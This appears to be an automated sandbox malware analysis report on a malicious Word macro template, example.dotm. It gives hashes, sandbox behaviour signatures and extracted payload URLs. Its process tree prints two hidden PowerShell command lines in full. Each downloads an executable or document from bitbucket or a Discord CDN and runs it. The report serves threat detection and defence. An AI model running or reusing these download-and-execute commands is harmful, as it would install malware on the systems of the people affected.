Overview
overview
10Static
static
8Ehhbsuuemv.exe
windows7-x64
10Ehhbsuuemv.exe
windows10-2004-x64
10GjIEmKW.exe
windows7-x64
10GjIEmKW.exe
windows10-2004-x64
10Jtvcsfni.exe
windows7-x64
10Jtvcsfni.exe
windows10-2004-x64
10OriginalBuild.exe
windows7-x64
3OriginalBuild.exe
windows10-2004-x64
8PUMPED_docc.exe
windows7-x64
10PUMPED_docc.exe
windows10-2004-x64
10Servicing-...te.pdf
windows7-x64
3Servicing-...te.pdf
windows10-2004-x64
3cgu3.docx
windows7-x64
6cgu3.docx
windows10-2004-x64
6debt.rtf.lnk
windows7-x64
10debt.rtf.lnk
windows10-2004-x64
10eeee.dotm
windows7-x64
3eeee.dotm
windows10-2004-x64
1egor.dotm
windows7-x64
10egor.dotm
windows10-2004-x64
10errr.dotm
windows7-x64
3errr.dotm
windows10-2004-x64
1example.dotm
windows7-x64
10example.dotm
windows10-2004-x64
10fasfs.dotm
windows7-x64
10fasfs.dotm
windows10-2004-x64
10ferrr.dotm
windows7-x64
3ferrr.dotm
windows10-2004-x64
1fffffffnew.dotm
windows7-x64
10fffffffnew.dotm
windows10-2004-x64
10fp4h5ur67j.exe
windows7-x64
10fp4h5ur67j.exe
windows10-2004-x64
10Analysis
-
max time kernel
133s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11-11-2024 02:36
Behavioral task
behavioral1
Sample
Ehhbsuuemv.exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
Ehhbsuuemv.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
GjIEmKW.exe
Resource
win7-20241023-en
Behavioral task
behavioral4
Sample
GjIEmKW.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
Jtvcsfni.exe
Resource
win7-20240729-en
Behavioral task
behavioral6
Sample
Jtvcsfni.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
OriginalBuild.exe
Resource
win7-20241010-en
Behavioral task
behavioral8
Sample
OriginalBuild.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
PUMPED_docc.exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
PUMPED_docc.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
Servicing-invoice-template.pdf
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
Servicing-invoice-template.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
cgu3.docx
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
cgu3.docx
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
debt.rtf.lnk
Resource
win7-20240708-en
Behavioral task
behavioral16
Sample
debt.rtf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
eeee.dotm
Resource
win7-20241010-en
Behavioral task
behavioral18
Sample
eeee.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
egor.dotm
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
egor.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
errr.dotm
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
errr.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
example.dotm
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
example.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
fasfs.dotm
Resource
win7-20241010-en
Behavioral task
behavioral26
Sample
fasfs.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral27
Sample
ferrr.dotm
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
ferrr.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral29
Sample
fffffffnew.dotm
Resource
win7-20241010-en
Behavioral task
behavioral30
Sample
fffffffnew.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral31
Sample
fp4h5ur67j.exe
Resource
win7-20240708-en
Behavioral task
behavioral32
Sample
fp4h5ur67j.exe
Resource
win10v2004-20241007-en
General
-
Target
example.dotm
-
Size
16KB
-
MD5
1aae26fe5d7b7dc4d6794a7828aecedc
-
SHA1
fbb8c6f45f53dc80e276a72cf9f567054b65c206
-
SHA256
1d473e82efa66368ffb4ce8f5eb947296c8e8d3febbe3a6283857da6fb1cc7d5
-
SHA512
2036693971d4710c9d59c569a8a8fef98ee33422b324c343c07aac9fb67500f82e54c6904054f65a7294dbbc745773fdbf6a6051aa7a71ac8b04b9c3dcf5c6e0
-
SSDEEP
384:tBt67TB+TZ2T/aNxt/ZtNNei/eX+30Oncsqf:R6PaGIxllNeAeX+3BcBf
Malware Config
Extracted
https://bitbucket.org/damnman/damn/downloads/simplecryptservice.docx
Extracted
https://cdn.discordapp.com/attachments/1074394309446619298/1085646503940464700/putty.exe
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2800 2952 powershell.exe 83 Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1680 2952 powershell.exe 83 -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2800 powershell.exe 1680 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 34 bitbucket.org 31 bitbucket.org -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2952 WINWORD.EXE 2952 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2800 powershell.exe 1680 powershell.exe 1680 powershell.exe 2800 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2800 powershell.exe Token: SeDebugPrivilege 1680 powershell.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2952 WINWORD.EXE 2952 WINWORD.EXE 2952 WINWORD.EXE 2952 WINWORD.EXE 2952 WINWORD.EXE 2952 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2952 wrote to memory of 1680 2952 WINWORD.EXE 87 PID 2952 wrote to memory of 1680 2952 WINWORD.EXE 87 PID 2952 wrote to memory of 2800 2952 WINWORD.EXE 88 PID 2952 wrote to memory of 2800 2952 WINWORD.EXE 88
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\example.dotm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden Start-BitsTransfer -Sou https://cdn.discordapp.com/attachments/1074394309446619298/1085646503940464700/putty.exe -Dest C:\Users\Public\putty.exe;C:\Users\Public\putty.exe2⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1680
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden Start-BitsTransfer -Sou https://bitbucket.org/damnman/damn/downloads/simplecryptservice.docx -Dest C:\Users\Public\simplecryptservice.docx;C:\Users\Public\simplecryptservice.docx2⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2800
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
3KB
MD561e2e57471d559f5f6813c0a7995c075
SHA133c621541bc0892ddab1b65345a348c14af566e5
SHA256c1acff9ad0b9cbb4f83f7953ec66d2ac7c37a6fa4a1474430fc1b04ad049231d
SHA5129fb42b4b261b4114d113b7ea96ef33a0bade598332361499b97e5b92b72895f287f753d62d26ad86573ab9f56f1b052d2d4c61a4ccf287ef7d8e1c9363353a5c
-
Filesize
1KB
MD51d94235176612f6abfdfa619ec6c4e66
SHA1300ed4e2883aa3e30fde5f45daf6f84d37f8a57a
SHA256df30e6f8bd5a62974e2b0823286b2a84f4e63beb1250cbb58cae2e10a6e1af5c
SHA5124b416ab23c554dff1d83e7ad6c4a4cb4ab259b832e04af591557570d8625e9e8b928ed2d5bfc053d84d0ebe8f3870ee71c458ffe532963f79b753e750b6819e4
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize6KB
MD57b2ec28de6e6464c0efd0ed57d149946
SHA1586a72e4b8324710c52fdc8ab9da9d49d67706fa
SHA2563ecfaed27f3c46a3aa2a958aea7a4c3d317b3cfcb0ea86375825dc4eed709c3a
SHA5124ab4047355c41cfcc67cb9d19332e2092696f1a4a1e9023e4a91ce3ce94c513bfd0f8b4c9323422d927d133e88d174e6a8dbd699abb91df1708ce31c44409abd
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize6KB
MD5a86c68c9e4166329b14b63a95ac1d804
SHA171bd2f004e8a440ba57e55148b6c95f9b7876156
SHA25696abd542ea3e65c821f57afc7b564c35f35dfaa3fc6a0e009bb4156527f69409
SHA5121dc981c54481bef11a4046d7285ef746d86a8c228dd6fb8607db95d738fd69ca2f020cc1c7d74758dfcf110e52546f4d1f1d8a759c05124e10a1a60e7c272fbb